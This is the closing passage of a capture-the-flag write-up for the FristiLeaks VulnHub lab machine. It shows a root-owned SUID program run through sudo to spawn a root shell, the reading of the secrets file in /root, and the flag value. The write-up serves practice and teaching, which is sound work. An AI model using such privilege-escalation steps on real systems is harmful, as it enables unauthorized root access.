-rwsr-sr-x 1 root root 7529 Nov 25 2015 doCom
It’s a root
owned SUID program. But what does it do?
bash-4.1$ ./doCom
Nice try, but wrong user ;)
bash-4.1$ sudo -u fristi ./doCom
Usage: ./program_name terminal_command ...bash-4.1$
So it takes a terminal command, huh? Let’s try bash
:
bash-4.1$ sudo -u fristi ./doCom bash
bash-4.1# id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)
Checkmate!
Capture the Flag
With root
in hand, it’s a simple matter to find our flag. Head over to the /root
directory, and have a look:
bash-4.1# cd /root
bash-4.1# ls -l
total 4
-rw-------. 1 root root 246 Nov 17 2015 fristileaks_secrets.txt
bash-4.1# cat fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]
I wonder if you beat it in the maximum 4 hours it's supposed to take!
Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)
Flag: Y0u_kn0w_y0u_l0ve_fr1st1
Wrapping Up
And there you have it: Fristileaks 1.3 rooted!
This was a fun box, easily doable in the four-hour limit suggested in the description. The only major hangup was the guesswork to find the login portal in the early enumeration stage. From there, simple enumeration and exploiting an oversight was all that was needed to own the box.
Leave a Reply